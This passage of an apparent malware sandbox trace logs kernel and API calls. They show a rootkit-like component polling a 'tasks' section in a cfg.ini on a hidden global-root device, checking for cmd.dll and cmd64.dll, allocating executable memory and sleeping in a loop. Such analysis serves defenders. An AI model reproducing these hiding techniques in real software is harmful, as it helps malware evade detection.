MemoryDescriptorList=0xfffffa8003aab1d0) [0120.813] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.813] IdePortDispatch () returned 0x103 [0120.813] KeWaitForMutexObject () returned 0x0 [0120.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.813] KeLeaveCriticalRegion () [0120.813] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.814] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.814] KeEnterCriticalRegion () [0120.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.814] KeLeaveCriticalRegion () [0120.814] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.814] KeEnterCriticalRegion () [0120.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.814] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.814] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.814] KeLeaveCriticalRegion () [0120.814] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.814] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.814] KeEnterCriticalRegion () [0120.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.814] ExFreePoolWithTag (P=0xfffffa8003bbb390, Tag=0x0) [0120.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.814] KeLeaveCriticalRegion () [0120.814] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.814] ReleaseMutex (hMutex=0xf0) returned 1 [0120.814] Sleep (dwMilliseconds=0x927c0) [0120.816] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.816] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.823] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.823] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.823] KeEnterCriticalRegion () [0120.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.823] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.823] IdePortDispatch () returned 0x103 [0120.823] KeWaitForMutexObject () returned 0x0 [0120.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.823] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.823] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.823] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.823] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.823] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb0e0 [0120.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.823] KeLeaveCriticalRegion () [0120.823] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.823] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.823] KeEnterCriticalRegion () [0120.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.824] KeLeaveCriticalRegion () [0120.824] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.824] KeEnterCriticalRegion () [0120.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.824] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.824] IdePortDispatch () returned 0x103 [0120.824] KeWaitForMutexObject () returned 0x0 [0120.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.824] KeLeaveCriticalRegion () [0120.824] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.824] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.824] KeEnterCriticalRegion () [0120.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.824] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003508000 [0120.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.824] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.824] IdePortDispatch () returned 0x103 [0120.824] KeWaitForMutexObject () returned 0x0 [0120.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.825] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.825] IdePortDispatch () returned 0x103 [0120.825] KeWaitForMutexObject () returned 0x0 [0120.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.825] KeLeaveCriticalRegion () [0120.825] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.825] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.825] KeEnterCriticalRegion () [0120.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.825] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.825] KeLeaveCriticalRegion () [0120.825] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.825] KeEnterCriticalRegion () [0120.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.825] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.825] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.825] KeLeaveCriticalRegion () [0120.825] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.825] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.825] KeEnterCriticalRegion () [0120.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.826] ExFreePoolWithTag (P=0xfffffa8003bbb0e0, Tag=0x0) [0120.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.826] KeLeaveCriticalRegion () [0120.826] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.826] ReleaseMutex (hMutex=0xf0) returned 1 [0120.826] Sleep (dwMilliseconds=0x927c0) [0120.836] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.836] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.836] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.836] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.836] KeEnterCriticalRegion () [0120.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.837] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.837] IdePortDispatch () returned 0x103 [0120.837] KeWaitForMutexObject () returned 0x0 [0120.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.837] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.837] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.837] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.837] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.837] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.837] KeLeaveCriticalRegion () [0120.837] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.837] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.837] KeEnterCriticalRegion () [0120.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.837] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.837] KeLeaveCriticalRegion () [0120.837] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.837] KeEnterCriticalRegion () [0120.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.837] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.837] IdePortDispatch () returned 0x103 [0120.837] KeWaitForMutexObject () returned 0x0 [0120.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.838] KeLeaveCriticalRegion () [0120.838] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.838] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.838] KeEnterCriticalRegion () [0120.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800350c000 [0120.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.838] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.838] IdePortDispatch () returned 0x103 [0120.838] KeWaitForMutexObject () returned 0x0 [0120.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.838] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.838] IdePortDispatch () returned 0x103 [0120.838] KeWaitForMutexObject () returned 0x0 [0120.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.838] KeLeaveCriticalRegion () [0120.838] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.839] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.839] KeEnterCriticalRegion () [0120.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.839] KeLeaveCriticalRegion () [0120.839] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.839] KeEnterCriticalRegion () [0120.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.839] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.839] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.839] KeLeaveCriticalRegion () [0120.839] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.839] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.839] KeEnterCriticalRegion () [0120.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.839] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.839] KeLeaveCriticalRegion () [0120.839] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.839] ReleaseMutex (hMutex=0xf0) returned 1 [0120.839] Sleep (dwMilliseconds=0x927c0) [0120.853] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.853] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.853] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.853] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.853] KeEnterCriticalRegion () [0120.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.853] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.853] IdePortDispatch () returned 0x103 [0120.853] KeWaitForMutexObject () returned 0x0 [0120.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.853] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.853] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.853] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.853] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.853] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb0e0 [0120.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.853] KeLeaveCriticalRegion () [0120.853] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.853] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.853] KeEnterCriticalRegion () [0120.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.853] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.853] KeLeaveCriticalRegion () [0120.853] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.853] KeEnterCriticalRegion () [0120.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.854] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.854] IdePortDispatch () returned 0x103 [0120.854] KeWaitForMutexObject () returned 0x0 [0120.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.854] KeLeaveCriticalRegion () [0120.854] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.854] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.854] KeEnterCriticalRegion () [0120.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003511000 [0120.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.854] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.854] IdePortDispatch () returned 0x103 [0120.854] KeWaitForMutexObject () returned 0x0 [0120.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.854] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.854] IdePortDispatch () returned 0x103 [0120.854] KeWaitForMutexObject () returned 0x0 [0120.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.855] KeLeaveCriticalRegion () [0120.855] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.855] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.855] KeEnterCriticalRegion () [0120.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.855] KeLeaveCriticalRegion () [0120.855] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.855] KeEnterCriticalRegion () [0120.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.855] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.855] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.855] KeLeaveCriticalRegion () [0120.855] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.855] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.855] KeEnterCriticalRegion () [0120.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.855] ExFreePoolWithTag (P=0xfffffa8003bbb0e0, Tag=0x0) [0120.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.855] KeLeaveCriticalRegion () [0120.855] 